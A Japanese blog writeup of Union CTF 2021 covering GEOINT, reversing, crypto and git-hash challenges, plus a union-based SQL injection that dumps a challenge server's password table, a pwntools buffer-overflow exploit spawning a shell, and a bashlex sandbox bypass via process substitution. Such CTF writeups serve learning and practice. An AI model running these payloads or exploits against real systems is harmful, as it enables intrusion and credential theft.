Satoooonの物置

雑多に色々と何かをしている

Union CTF 2021 Writeup

Union CTF に参加して Welcome, Feedback 以外の問題を解いた224チーム中41位でした。

解けた問題についてWriteupを書いていきます。

Where in the World? (3) [GEOINT/misc 10pt 90solves]

f:id:Satoooon1024:20210224154411p:plain

この画像が撮られた場所を答える問題です。

「ARCO gas station」で調べると、アメリカで展開されているメジャー?なガソリンスタンドであることがわかります。

次に右下の画像にある(41 5-0104という電話番号らしきものが使えそうですね。アメリカの電話番号の形式について調べてみる上3桁はエリアコードと呼ばれ地域ごとに割り振られているそうです。

「area code search」で検索するとhttps://www.allareacodes.com/area-code-lookup/が見つかるので、右側のリストにある41から始まる地名を順番にGoogle MapでARCOと合わせて検索して順次ストリートビューで確認します。

すると、San Franciscoの北から2番目のスタンドであることがわかります。

Mission Street, San Francisco, United States

Where in the World? (5) [GEOINT/misc 10pt 142solves]

f:id:Satoooon1024:20210224154417p:plain

Google画像検索にかけたらヒットしました。

Fuzhou, China

Meet the Union Committee [Web 100pt 101solves]

http://34.105.202.19:1336/が渡され、adminのパスワードを手に入れろと言われます。

見てみると、会社のホームページ的なもので、Loginなどのフォームはありません。

社員の写真をクリックするとhttp://34.105.202.19:1336/?id={数字}という社員の名前と情報が書いてあるページに飛びます。

とりあえず?id=1 OR 1=1 --を送信すると全社員の名前が表示されました。SQLiですね。

?id='を送信するとエラーを吐きました。

Traceback (most recent call last):
  File "unionflaggenerator.py", line 49, in do_GET
    cursor.execute("SELECT id, name, email FROM users WHERE id=" + params["id"])
sqlite3.OperationalError: unrecognized token: "'"

SQLiteで動いてることがわかったので、PayloadsAllTheThingを参考に進めていきます。

カラムの型を揃えるため、1と''を使っています。

?id=1 UNION SELECT 1,tbl_name,'' FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --でテーブルを見ます。

CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, email TEXT, password TEXT)admin

?id=1 UNION SELECT 1,password,'' FROM users --でパスワードを見ましょう。

RightBehindUadmindiamond69_hands420ilikesexpasswordpeter1union{uni0n_4ll_s3l3ct_n0t_4_n00b}winter2020

union{uni0n_4ll_s3l3ct_n0t_4_n00b}

antistatic [Reversing 100pt 51solves]

x86_64 ELFバイナリが渡されます。

実行しても「Ceci n'est pas une flag (フラグじゃないよ)」と言われるので、Cutterで見ていきます。

が、main関数には大した処理がありません。他の関数を見てみると、entry.init1に怪しそうな処理があります。

void entry.init1(void)
{
    int64_t iVar1;
    char cVar2;
    int64_t in_FS_OFFSET;
    int64_t var_139h;
    int32_t var_130h;
    int32_t var_12ch;
    int64_t var_128h;
    char *s;
    int64_t var_118h;
    void *ptr;
    int64_t canary;
    
    canary = *(int64_t *)(in_FS_OFFSET + 0x28);
    if (*(char *)0x13e3 != -0x34) {
        var_139h._1_4_ = 0;
        while (var_139h._1_4_ < 0x1000) {
            if (((*(char *)((int64_t)var_139h._1_4_ + 0x1000) == -0x34) &&
                (*(char *)((int64_t)var_139h._1_4_ + 0x1001) != -2)) && (segment.LOAD1 != (code)0x0))
            goto code_r0x000013c9;
            var_139h._1_4_ = var_139h._1_4_ + 1;
        }
        fopen("/proc/self/cmdline", 0x2008);
        fread(&ptr, 1, 0x100);
        var_128h = (int64_t)&ptr;
        do {
            iVar1 = var_128h + 1;
            cVar2 = *(char *)var_128h;
            var_128h = iVar1;
        } while (cVar2 != '\0');
        stack0xfffffffffffffec4 = 0;
        while (stack0xfffffffffffffec4 < 0x14) {
            if ((uint8_t)((char)stack0xfffffffffffffec4 + 0x42U ^ *(uint8_t *)var_128h) !=
                "7--*(<+=z9?\x12,|\'0 `)U\x01&\',f)o,9?l=/<p$<6t3:6?S$/%\"|g"[stack0xfffffffffffffec4]) {
                var_130h = 0;
                while (var_130h < 0x18) {
                    putchar((var_130h + 0x42U ^
                            (uint32_t)
                            (uint8_t)"7--*(<+=z9?\x12,|\'0 `)U\x01&\',f)o,9?l=/<p$<6t3:6?S$/%\"|g"[var_130h + 0x14]) &
                            0xff);
                    var_130h = var_130h + 1;
                }
                exit();
            }
            unique0x000017a0 = stack0xfffffffffffffec4 + 1;
            var_128h = var_128h + 1;
        }
        var_12ch = 0;
        while (var_12ch < 6) {
            putchar((var_12ch + 0x42U ^
                    (uint32_t)(uint8_t)"7--*(<+=z9?\x12,|\'0 `)U\x01&\',f)o,9?l=/<p$<6t3:6?S$/%\"|g"[var_12ch + 0x2c]) &
                    0xff);
            var_12ch = var_12ch + 1;
        }
        puts(iVar1);
        exit(0);
    }
code_r0x000013c9:
    if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
        __stack_chk_fail();
    }
    return;
}

私は全部の処理を追おうとして無駄に時間を潰しました...肝心なのはこれだけです。

  1. /proc/self/cmdlineを受け取っているvar_126hが入力っぽい?
  2. stack0xfffffffffffffec4がforのiっぽい? (unique0x~はアセンブリで見たらstack0x~と同一でした)
  3. ifの後にexitが呼ばれてるし((uint8_t)((char)stack0xfffffffffffffec4 + 0x42U ^ *(uint8_t *)var_128h) != "7--*(<+=z9?\x12,|\'0 `)U\x01&\',f)o,9?l=/<p$<6t3:6?S$/%\"|g"[stack0xfffffffffffffec4])でフラグかどうか判定されてるっぽい?

判定式がわかれば後は芋づる式に復元できます。(^って+より優先順位低いんですね...)

c = b'7--*(<+=z9?\x12,|\'0 `)U\x01&\',f)o,9?l=/<p$<6t3:6?S$/%"|g'
bytes([i + 0x42 ^ c[i] for i in range(0x18)])

union{ct0rs_b3war3}

babyrarf [Pwn 100pt 37solves]

バイナリとソースコードが渡されます。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>

typedef struct attack {
    uint64_t id;
    uint64_t dmg;
} attack;

typedef struct character {
    char name[10];
    int health;
} character;

uint8_t score;

int read_int(){
    char buf[10];
    fgets(buf, 10, stdin);
    return atoi(buf);
}

void get_shell(){
    execve("/bin/sh", NULL, NULL);
}

attack choose_attack(){
    attack a;
    int id;
    puts("Choose an attack:\n");
    puts("1. Knife\n");
    puts("2. A bigger knife\n");
    puts("3. Her Majesty's knife\n");
    puts("4. A cr0wn\n");
    id = read_int();
    if (id == 1){
        a.id = 1;
        a.dmg = 10;
    }
    else if (id == 2){
        a.id = 2;
        a.dmg = 20;
    }
    else if (id == 3){
        a.id = 3;
        a.dmg = 30;
    }
    else if (id == 4){
        if (score == 0){
            puts("l0zers don't get cr0wns\n");
        }
        else{
            a.id = 4;
            a.dmg = 40;
        }
    }
    else{
        puts("Please select a valid attack next time\n");
        a.id = 0;
        a.dmg = 0;
    }
    return a;
}

int main(){
    character player = { .health = 100};
    character boss = { .health = 100, .name = "boss"};
    attack a;
    int dmg;

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    srand(0);

    puts("You are fighting the rarf boss!\n");
    puts("What is your name?\n");
    fgets(player.name, 10, stdin);

    score = 10;

    while (score < 100){
        a = choose_attack();
        printf("You choose attack %llu\n", a.id);
        printf("You deal %llu dmg\n", a.dmg);
        boss.health -= a.dmg;
        dmg = rand() % 100;
        printf("The boss deals %llu dmg\n", dmg);
        player.health -= dmg;
        if (player.health > boss.health){
            puts("You won!\n");
            score += 1;
        }
        else{
            puts("You lost!\n");
            score -= 1;
        }
        player.health = 100;
        boss.health = 100;
    }

    puts("Congratulations! You may now declare yourself the winner:\n");
    fgets(player.name, 48, stdin);
    return 0;
}

ゲームプログラムのようです。

  1. 名前を入力する
  2. ゲームのループがあり、scoreを100以上にすると抜けられる
  3. ループ後に再度名前を入力できる

scoreはunsignedなので負け続けて-1になればscore < 100の条件は抜けられます。

また、3のfgetsでBuffer Over Flowがあります。No canaryなのでreturn addressの書き替えができそうです。

しかし、PIE enabledなのでget_shellのアドレスを知るにはbinary baseが必要です。(言い方が合ってるのか分からない)

適当に入力して調べていると、4の選択肢を連打していたら負けた時に異常な値が出ました。

l0zers don't get cr0wns

You choose attack 94620740596944
You deal 140726960122848 dmg
The boss deals 22 dmg
You lost!

ソースコードを見てみると、score=0で4を選択するとcr0wnsは使えないように処理されていますがその代わりとなるaの値を設定していないので、初期化前の値が渡されてしまうことがわかります。

gdbで初期化前の値を確認してみると、a.id__libc_csu_initのアドレスが入っていることがわかります。binary leakできたのでbinary baseを計算すればget_shellのアドレスがわかります。BOFでreturn addressをget_shellで書き替えてやりましょう。

from pwn import *

context.terminal = ["wterminal"]
context.arch = "amd64"

file = "./babyrarf"
binary = ELF(file)

# io = process(file)

# io = gdb.debug(file, "\n".join(["b *main+479", "c"]))

io = remote("35.204.144.114", 1337)

score = 10

def attack(i):
    io.sendlineafter(b"4. A cr0wn\n\n", str(i))
    if score == 0 and i == 4:
        io.recvline()
        io.recvline()
    pl_id = int(io.recvline().split()[3])
    pl_dmg = int(io.recvline().split()[2])
    io.recvline()
    if io.recvline().split()[1] == b"won!":
        result = 1
    else:
        result = -1
    return pl_id, pl_dmg, result


io.recv()
io.sendline("hoge")

while score != 0:
    _, _, result = attack(1)
    score += result

pl_id, pl_dmg, result = attack(4)

log.info(f"leak: {pl_id:x}")
log.info(f"leak: {pl_dmg:x}")

binary.address = pl_id - binary.sym["__libc_csu_init"]
log.info(f"bin: {binary.address:x}")



score += result

if 0 <= score:
    while 0 <= score:
        _, _, result = attack(1)
        score += result

io.recv()

payload = b"A" * 0x28 + p64(binary.sym["get_shell"])

io.sendline(payload)

io.interactive()

(クソコードなのはご愛嬌)

union{baby_rarf_d0o_d00_do0_doo_do0_d0o}

Mordell primes [Crypto 100pt 50solves]

from Crypto.Util.number import bytes_to_long
from secrets import k, FLAG

assert k < 2^128
assert FLAG.startswith(b'union{')

E = EllipticCurve(QQ,[0,1,0,78,-16])
P = E(1,8)
Q = k*P
R = (k+1)*P

p = Q[0].numerator()
q = R[0].numerator()

assert is_prime(p)
assert is_prime(q)

e = 0x10001
N = p*q
m = bytes_to_long(FLAG)
c = pow(m,e,N)

print(f'N = {N}')
print(f'c = {c}')

画面を圧迫するので数値を載せるか毎回悩む (今のところは読みやすさより完全性を重視しています)

N = 5766655232619116707100300967885753418146107012385091223647868658490220759057780928028480463319202968587922648810849492353260432268633862603886585796452077987022107158189728686203729104591090970460014498552122526631361162547166873599979607915485144034921458475288775124782641916030643521973787176170306963637370313115151225986951445919112900996709332382715307195702225692083801566649385695837056673372362114813257496330084467265988611009917735012603399494099393876040942830547181089862217042482330353171767145579181573964386356108368535032006591008562456350857902266767781457374500922664326761246791942069022937125224604306624131848290329098431374262949684569694816299414596732546870156381228669433939793464357484350276549975208686778594644420026103742256946843249910774816227113354923539933217563489950555104589202554713352263020111530716888917819520339737690357308261622980951534684991840202859984869712892892239141756252277430937886738881996771080147445410272938947061294178392301438819956947795539940433827913212756666332943009775475701914578705703916156436662432161
c = 5724500982804393999552325992634045287952804319750892943470915970483096772331551016916840383945269998524761532882411398692955440900351993530895920241101091918876067020996223165561345416503911263094097500885104850313790954974285883830265883951377056590933470243828132977718861754767642606894660459919704238136774273318467087409260763141245595380917501542229644505850343679013926414725687233193424516852921591707704514884213118566638296775961963799700542015369513133068927399421907223126861526282761409972982821215039263330243890963476417099153704260378890644297771730781222451447236238246395881031433918137098089530325766260576207689592620432966551477624532170121304029721231233790374192012764855164589022421648544518425385200094885713570919714631967210149469074074462611116405014013224660911261571843297746613484477218466538991573759885491965661063156805466483257274481271612649728798486179280969505996944359268315985465229137237546375405105660181489587704128670445623442389570543693177429900841406620324743316472579871371203563098020011949005568574852024281173097996529

楕円曲線暗号を全く学んでなかったしそもそもCryptoが苦手なのでかなり苦戦しました。

問題名の「Mordell」で検索してみるとモーデルの定理というのを見つけました。

言ってることは何も理解できませんでしたが、有理点と無限遠点のなす何かの群(?)が有限生成であることはわかりました。

よくわからないけど有限生成って言ってるので総当たりだ!!!!!!

from Crypto.Util.number import bytes_to_long

E = EllipticCurve(QQ,[0,1,0,78,-16])
P = E(1,8)
Q = P
R = 2*P
for k in range(1, 1000000):
    print(k)
    Q += P
    R += P

    p = Q[0].numerator()
    q = R[0].numerator()
    if is_prime(p) and is_prime(q):
        print(p, q)

おら!!!!!!!!!!!!

1
2
3
1060254843774241 1494010827547891911505201
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
17922287659013798442573402576339735849131128752056341575054197930940787246564949598938335376226031527888079106524104711777865485173232825060793232006924673971381527349154104858168561572160671487344179035618322434925270004055702274152607679042184080640691186862346789874863888075906696781653068925076057856953267732589112379785385330133335551948122941721689924982720304114154248001316403957518439002843731516224614663616879830159618638468356727817020281211416957107830839823313351269768071723444073187217264382241 321758881585568514261634654250659748446523344340018150116507881162229972612305752050769920205286159885408041096234020476384465546455399488962391147202783501647132062306552683122288085406774100836357606232928583823171387318802519851292578667850958931105883639657827128991608008678002672898209104966759877701142222567045731170569904901288149109710924232312743086496550108283101792455008495260797284403597049213314008266224464841992631110312209047538885210993299388742666622876359275887233585307056520793956976592587030842635602236647635291295676711079408341121

やったぜ。

from Crypto.Util.number import long_to_bytes
p = 17922287659013798442573402576339735849131128752056341575054197930940787246564949598938335376226031527888079106524104711777865485173232825060793232006924673971381527349154104858168561572160671487344179035618322434925270004055702274152607679042184080640691186862346789874863888075906696781653068925076057856953267732589112379785385330133335551948122941721689924982720304114154248001316403957518439002843731516224614663616879830159618638468356727817020281211416957107830839823313351269768071723444073187217264382241
q = 321758881585568514261634654250659748446523344340018150116507881162229972612305752050769920205286159885408041096234020476384465546455399488962391147202783501647132062306552683122288085406774100836357606232928583823171387318802519851292578667850958931105883639657827128991608008678002672898209104966759877701142222567045731170569904901288149109710924232312743086496550108283101792455008495260797284403597049213314008266224464841992631110312209047538885210993299388742666622876359275887233585307056520793956976592587030842635602236647635291295676711079408341121
N = 5766655232619116707100300967885753418146107012385091223647868658490220759057780928028480463319202968587922648810849492353260432268633862603886585796452077987022107158189728686203729104591090970460014498552122526631361162547166873599979607915485144034921458475288775124782641916030643521973787176170306963637370313115151225986951445919112900996709332382715307195702225692083801566649385695837056673372362114813257496330084467265988611009917735012603399494099393876040942830547181089862217042482330353171767145579181573964386356108368535032006591008562456350857902266767781457374500922664326761246791942069022937125224604306624131848290329098431374262949684569694816299414596732546870156381228669433939793464357484350276549975208686778594644420026103742256946843249910774816227113354923539933217563489950555104589202554713352263020111530716888917819520339737690357308261622980951534684991840202859984869712892892239141756252277430937886738881996771080147445410272938947061294178392301438819956947795539940433827913212756666332943009775475701914578705703916156436662432161
c = 5724500982804393999552325992634045287952804319750892943470915970483096772331551016916840383945269998524761532882411398692955440900351993530895920241101091918876067020996223165561345416503911263094097500885104850313790954974285883830265883951377056590933470243828132977718861754767642606894660459919704238136774273318467087409260763141245595380917501542229644505850343679013926414725687233193424516852921591707704514884213118566638296775961963799700542015369513133068927399421907223126861526282761409972982821215039263330243890963476417099153704260378890644297771730781222451447236238246395881031433918137098089530325766260576207689592620432966551477624532170121304029721231233790374192012764855164589022421648544518425385200094885713570919714631967210149469074074462611116405014013224660911261571843297746613484477218466538991573759885491965661063156805466483257274481271612649728798486179280969505996944359268315985465229137237546375405105660181489587704128670445623442389570543693177429900841406620324743316472579871371203563098020011949005568574852024281173097996529
e = 0x10001
d = pow(e, -1, (p-1)*(q-1))
m = pow(c, d, N)
print(long_to_bytes(m))
union{s34rch1ng_thr0ugh_r4tion4l_p01nts}

bashlex [Misc 100pt 47solves]

#!/usr/bin/env python3

import bashlex
import os
import subprocess
import sys

ALLOWED_COMMANDS = ['ls', 'pwd', 'id', 'exit']

def validate(ast):
    queue = [ast]
    while queue:
        node = queue.pop(0)
        if node.kind == 'command':
            first_child = node.parts[0]
            if first_child.kind == 'word':
                if first_child.parts:
                    print(f'Forbidden top level command')
                    return False
                elif first_child.word.startswith(('.', '/')):
                    print('Path components are forbidden')
                    return False
                elif first_child.word.isalpha() and \
                        first_child.word not in ALLOWED_COMMANDS:
                    print('Forbidden command')
                    return False
        elif node.kind == 'commandsubstitution':
            print('Command substitution is forbidden')
            return False
        elif node.kind == 'word':
            if [c for c in ['*', '?', '['] if c in node.word]:
                print('Wildcards are forbidden')
                return False
            elif 'flag' in node.word:
                print('flag is forbidden')
                return False
        
        # Add node children
        if hasattr(node, 'parts'):
            queue += node.parts
        elif hasattr(node, 'list'):
            # CompoundNode
            queue += node.list
    return True

while True:
    inp = input('> ')

    try:
        parts = bashlex.parse(inp)
        print(parts)
        valid = True
        for p in parts:
            if not validate(p):
                valid = False
    except:
        print('ERROR')
        continue

    if not valid:
        print('INVALID')
        continue

    subprocess.call(['bash', '-c', inp])
  1. コマンドがls pwd id exitしか使えない
  2. substitution($()``)が使えない
  3. ワイルドカードが使えず、またflagという文字列は使えない

だいたいこんな感じのシェルをバイパスしろという問題です。

とても苦戦しましたが、リダイレクト周りを調べている最中にプロセス置換を思い出しました。

これはprocesssubstitutionに分類されるようで、substitutionの制限には引っ掛かりません。

これでコマンドの制限は無くなりました。flagはflとag分けて結合すればいいでしょう。

A=/home/bashlex/fl; B=ag.txt; ls >(cat ${A}${B})
union{chomsky_go_lllllllll1}

終わった後に他の解法を見たら簡単すぎて泣きました...

  1. 実はelif first_child.word.isalpha() andの部分で、アルファベットのみで構成されているコマンドのみ制限がかかるようになっている。そのためpython3、bin/shなどでバイパスできる。
  2. ``command`` (これはbashlexのバグ?)

よくコードを、読もう!

committee [Misc 304pt 23solves]

.git, log.txt, flag.txtが渡されます。

$ cat flag.txt
union{*******3*********_************r****d**********}
$ cat ../log.txt
commit ff26e028a3faebd461c4cc0265d0f7b9ca049feb
Author: John J. Johnson <jojojo@legal.committee>
Date:   Wed Jan 27 12:45:00 2021 +0000

    Proceedings of the flag-deciding committee: 22, 23, 25

commit a23b600c786b05623b765b4f0d7a3f52df63cdd5
Author: Peter G. Anderson <pepega@legal.committee>
Date:   Fri Dec 18 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 7, 9, 13

commit 6c35a04d1fdb8eedbbc9821b4c23b610bd3b4488
Author: Christopher L. Hatch <crisscross.the.hatch@legal.committee>
Date:   Fri Nov 27 12:00:00 2020 +0000

    Proceedings of the flag-deciding committee: 44, 45, 46

commit 8984f8eac466cbf86a6aa6b0480be53a86d8108c
Author: Pamela W. Mathews <pammy.emm@legal.committee>
Date:   Thu Oct 29 12:00:00 2020 +0000

    Proceedings of the flag-deciding committee: 38, 39, 40

commit 9b5ee533d17a9c0ff87d22bf0a433a621fbd55bf
Author: Robert J. Lawful <boblaw@legal.committee>
Date:   Mon Oct 19 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 41, 42, 43

commit 8a951bd3e56432dd689e83034c1ee7e21ae6ee56
Author: Robert S. Storms <tempest@legal.committee>
Date:   Fri Sep 11 11:45:00 2020 +0000

    Proceedings of the flag-deciding committee: 1, 3, 4

commit 59c9f723bff0952f6589157f3ef8e1858d01bfdc
Author: John J. Johnson <jojojo@legal.committee>
Date:   Fri Aug 28 12:45:00 2020 +0000

    Proceedings of the flag-deciding committee: 19, 20, 21

commit 45ec9aba969782c72d18018126c2d9aeffde28b7
Author: Peter G. Anderson <pepega@legal.committee>
Date:   Wed Aug 12 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 17, 24, 37

commit 30240b427e09aa75f034527e91aaa1fbc1b243ee
Author: Christopher L. Hatch <crisscross.the.hatch@legal.committee>
Date:   Tue Jul 28 12:00:00 2020 +0000

    Proceedings of the flag-deciding committee: 28, 30, 35

commit 6356e3d17ca6b7515c67cfe0a8712d1e8b57d713
Author: Pamela W. Mathews <pammy.emm@legal.committee>
Date:   Wed Jul 1 12:45:00 2020 +0000

    Proceedings of the flag-deciding committee: 10, 11, 12

commit a6880ed0c8bb30263bd0a2a631eb9bf50dc72344
Author: Robert J. Lawful <boblaw@legal.committee>
Date:   Thu Jun 11 12:00:00 2020 +0000

    Proceedings of the flag-deciding committee: 2, 5, 6

commit 9dbf985598f5ef000ba2e8856c6bec12435f0ef8
Author: Robert S. Storms <tempest@legal.committee>
Date:   Tue May 12 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 14, 15, 16

commit d9af34e8a8ca6a24790d20262dafac71c3ddc980
Author: John J. Johnson <jojojo@legal.committee>
Date:   Fri May 1 12:00:00 2020 +0000

    Proceedings of the flag-deciding committee: 26, 27, 29

commit cb18d2984f9e99e69044d18fd3786c2bf6425733
Author: Peter G. Anderson <pepega@legal.committee>
Date:   Tue Apr 14 12:00:00 2020 +0000

    Proceedings of the flag-deciding committee: 32, 33, 34

commit dca4ca5150b82e541e2f5c42d00493ba8d4aa84a
Author: Christopher L. Hatch <crisscross.the.hatch@legal.committee>
Date:   Mon Mar 23 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 8, 31, 36

commit c3e6c8ea777d50595a8b288cbbbd7a675c43b5df
Author: Pamela W. Mathews <pammy.emm@legal.committee>
Date:   Fri Mar 13 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 18

commit 08e1f0dd3b9d710b1eea81f6b8f76c455f634e87
Author: Robert J. Lawful <boblaw@legal.committee>
Date:   Wed Mar 4 12:00:00 2020 +0000

    Initial formation of the flag-deciding committee.
$ git log
commit dca4ca5150b82e541e2f5c42d00493ba8d4aa84a (HEAD -> master)
Author: Christopher L. Hatch <crisscross.the.hatch@legal.committee>
Date:   Mon Mar 23 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 8, 31, 36

commit c3e6c8ea777d50595a8b288cbbbd7a675c43b5df
Author: Pamela W. Mathews <pammy.emm@legal.committee>
Date:   Fri Mar 13 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 18

commit 08e1f0dd3b9d710b1eea81f6b8f76c455f634e87
Author: Robert J. Lawful <boblaw@legal.committee>
Date:   Wed Mar 4 12:00:00 2020 +0000

    Initial formation of the flag-deciding committee.

git logでは3 commitしかありませんでしたが、log.txtはそれ以降のcommitが記録されています。

.gitを見ても特に変なところはありませんでした。log.txtのみから変更内容を推測する必要があります。

3文字ずつ変更していて変更場所もわかっているので、変更内容を総当たりしてcommitのハッシュ値と照らし合わせれば変更内容を確定できたりできないでしょうか。

commitのハッシュ値はどう計算されるのかを調べると、Gitの仕組みという記事が見つかりました。

この記事を元にcommitのハッシュ値を計算して総当たりします。

(parent_hash, log, flag, 変更箇所のインデックスは手動で変更しました。次のプログラムは最後のcommitを復元するものです。)

from hashlib import sha1
import datetime
import re

parent_hash = "a23b600c786b05623b765b4f0d7a3f52df63cdd5"
committer = "Flag-deciding Committee <committee@legal.committee>"

log = """
commit ff26e028a3faebd461c4cc0265d0f7b9ca049feb
Author: John J. Johnson <jojojo@legal.committee>
Date:   Wed Jan 27 12:45:00 2021 +0000

    Proceedings of the flag-deciding committee: 22, 23, 25
"""

answer_hash, author, date, message = re.match("\ncommit (.*?)\nAuthor: (.*?)\nDate:   (.*?)\n\n    (.*?)\n", log).groups()
time = int(datetime.datetime.strptime(date, '%a %b %d %H:%M:%S %Y %z').timestamp())

def calc_obj_hash(obj_type, obj):
    s = b"%b %d\x00%b" % (obj_type.encode(), len(obj), obj)
    return sha1(s)

def calc_commit_hash(blob, time):
    tree = b"100644 flag.txt\x00%b" % calc_obj_hash('blob', blob).digest()

    commit = f"""tree {calc_obj_hash('tree', tree).hexdigest()}
parent {parent_hash}
author {author} {time} +0000
committer {committer} {time} +0000

{message}
"""
    return calc_obj_hash('commit', commit.encode()).hexdigest()

flag = list(b"union{c0mm1tt33_d3c1deD_bu7**H*_d3t3rm1n3d_6a7c2619a}\n")


for c1 in range(33, 127):
    for c2 in range(33, 127):
        for c3 in range(33, 127):
            flag[6+22-1] = c1
            flag[6+23-1] = c2
            flag[6+25-1] = c3
            blob = bytes(flag)
            # print(blob)
            commit_hash = calc_commit_hash(blob, time)
            if commit_hash == answer_hash:
                print(blob, commit_hash)
                exit()

union{c0mm1tt33_d3c1deD_bu7_SHA_d3t3rm1n3d_6a7c2619a}

感想

最低点にまで落ちなかった問題を一つ解けたので満足です。ただ、Cryptoで最低点に落ちた問題がもう2問あったのでそこを拾えていればという気持ちはあります。Cryptoにも慣れたいですね。

しかしWeb/CryptoのCrownAirも100点問題に落ちてたし、強者が集うCTFは怖いですね...